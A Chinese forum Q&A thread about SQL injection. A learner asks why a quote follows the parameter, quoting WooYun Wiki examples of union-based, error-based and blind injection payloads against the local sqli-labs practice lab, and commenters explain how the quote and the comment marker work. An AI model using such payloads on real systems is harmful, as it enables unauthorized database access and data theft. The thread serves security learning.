在进行数字型注入时要先在可控参数后加一个单引号的目的?
在学习WooYun WiKi中SQL注入相关内容时发现的(内容如下),求解释。
3.1.1 可显注入代码示例:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=0 union select 1,email_id,3 from emails where id=3 --+
3.1.2 报错注入代码示例:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=0 union select 1,count(*),concat((select email_id from emails where id=5),0x2a,floor(rand(0)*2))x from users group by x--+
3.1.3 盲注代码示例:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and (select substr(email_id,1,1) from emails where id=3) > 'a' --+
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(2)
sql注入没玩过,答案猜测如下。
题主贴的第一段:
红色这一串字符被api全部识别为id的传参
传入一段sql中:
引号的作用显而易见:它是为了匹配sql中前一个引号;
另外,我猜测后面 --+ 的作用:注释后面的sql语句。
(注释符不是--么,怎么多了个+号。。。)
至此实现了sql注入,跳过程序原本意图,执行注入sql
第一很简单,不解释了
第二:报错注入也有很多种函数可用,这个floor跟group by冲突造成报错回显。
第三:盲注有延时,有bool,我这里有个延时的